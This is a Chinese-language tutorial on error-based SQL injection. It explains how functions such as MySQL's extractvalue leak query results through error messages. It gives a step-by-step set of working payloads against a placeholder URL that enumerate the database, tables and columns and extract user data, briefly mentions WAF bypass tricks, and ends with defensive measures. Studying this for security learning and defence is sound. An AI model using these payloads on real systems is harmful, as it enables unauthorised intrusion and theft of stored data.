SQL注入攻击的变异形式:报错注入详解
1. 知识点描述
报错注入是SQL注入的一种技术形式。与联合查询注入(Union-based)或布尔盲注(Boolean-based)不同,报错注入的核心思想是故意触发数据库的报错机制,使错误信息中直接包含数据库的敏感数据(如表名、字段名、数据记录等)。攻击者通过精心构造SQL语句,引发数据库执行某些会产生错误的函数或语句,从而在应用程序返回的错误页面或日志中“泄露”出想要查询的信息。
2. 核心前提与原理
- 前提条件:目标应用开启了数据库的错误回显。这意味着当SQL语句执行出错时,错误信息会直接返回到前端页面(例如,MySQL的详细错误、SQL Server的完整异常等),而不是被应用程序全局捕获并替换为统一的错误提示。
- 原理:利用数据库内置的、某些在特定输入下会抛出错误的函数,将想要查询的子查询嵌入到这些函数的参数中。当数据库执行该语句时,会因为函数执行出错而中断,并在错误信息中“携带”出子查询的执行结果。
3. 关键技术点与常见函数
不同的数据库管理系统有不同的报错函数,以下是几种常见的:
MySQL:
extractvalue():用于解析XML文档,但若第一个参数(XML文档)不是有效XML格式,且第二个参数(XPath路径)包含子查询结果,则报错信息会显示子查询结果。
示例:extractvalue(1, concat(0x7e, (select version()), 0x7e))
解释:0x7e是波浪符~的十六进制,用于在报错信息中标记出子查询内容;concat将子查询结果拼接成一个字符串作为XPath路径,因路径格式非法而报错,错误信息中会包含~MySQL版本号~。updatexml():与extractvalue类似,用于更新XML文档,同样在XPath路径参数非法时报错。- 其他:
floor(rand(0)*2)结合group by可触发主键重复错误(即“duplicate key”错误),也可用于报错注入。
SQL Server:
convert()/cast():类型转换函数,若尝试将非数字字符串转为数字类型,会触发转换失败错误,错误信息中可包含转换前的字符串。
示例:convert(int, (select @@version))可能导致错误信息中包含版本信息。
PostgreSQL:
- 常用类型转换或除零错误,如
1/(select current_user)若当前用户非数字则可能报错。
4. 攻击步骤(以MySQL的extractvalue为例)
假设目标URL为:http://example.com/product.php?id=1,参数id存在注入点。
步骤1:确认注入点与报错回显
构造Payload:id=1'
观察页面是否返回数据库错误信息(如“You have an error in your SQL syntax...”),若有,说明可能存在SQL注入且错误信息可见。
步骤2:试探报错函数是否可用
构造Payload:id=1' and extractvalue(1,0x7e)-- -
解释:0x7e是~,作为非法XPath路径。若页面返回错误信息中包含~,则说明extractvalue函数可被触发,且错误信息会显示我们传入的XPath字符串内容。
步骤3:提取数据库版本
构造Payload:id=1' and extractvalue(1, concat(0x7e, (select version())))-- -
预期错误信息中会出现类似“XPATH syntax error: '~5.7.36'”的内容,其中5.7.36即为数据库版本。
步骤4:枚举数据库名
构造Payload:id=1' and extractvalue(1, concat(0x7e, (select database())))-- -
错误信息中会显示当前数据库名。
步骤5:枚举表名
构造Payload:id=1' and extractvalue(1, concat(0x7e, (select table_name from information_schema.tables where table_schema=database() limit 0,1)))-- -
解释:从information_schema.tables中查询当前数据库的第一张表名,通过报错带出。通过修改limit参数(如limit 1,1)可遍历所有表。
步骤6:枚举字段名
假设已知表名为users,则枚举其第一个字段名:
Payload:id=1' and extractvalue(1, concat(0x7e, (select column_name from information_schema.columns where table_name='users' limit 0,1)))-- -
步骤7:提取数据
假设已知表users有字段username和password,提取第一条记录的username:
Payload:id=1' and extractvalue(1, concat(0x7e, (select username from users limit 0,1)))-- -
5. 关键注意事项与限制
- 长度限制:某些报错函数(如MySQL的
extractvalue)对错误信息输出长度有限制(MySQL通常为32个字符)。若子查询结果较长,需配合substring()或mid()函数分多次截取。例如:
extractvalue(1, concat(0x7e, substring((select username from users limit 0,1), 1, 30)))可截取前30个字符。 - 避免查询返回多行:子查询必须确保返回单行单列,否则可能因结果集不符函数参数要求而提前报错,无法带出数据。使用
limit 0,1可确保每次只查询一条记录。 - WAF绕过:报错注入的Payload通常包含特殊函数名和括号,可能被WAF检测。可通过注释符分割、大小写变换、编码等方式尝试绕过。
6. 防御措施
- 关闭错误回显:在生产环境中,配置应用程序不向用户显示详细的数据库错误信息,改用统一的错误页面,从源头切断信息泄露。
- 参数化查询(预编译语句):所有用户输入均通过参数化查询传递,确保输入数据不会被解释为SQL代码,从而杜绝注入。
- 最小权限原则:数据库连接账户应仅拥有必要权限,避免攻击者利用注入执行高危操作。
- 输入验证与过滤:对输入进行严格的白名单验证,例如
id参数应限制为数字格式。 - 使用Web应用防火墙(WAF):配置规则检测常见的报错函数名和异常Payload。
通过以上步骤,报错注入可在无需联合查询、无需观察页面内容差异(如布尔盲注)的情况下,直接获取数据库信息,是SQL注入攻击中一种高效且隐蔽的技术形式。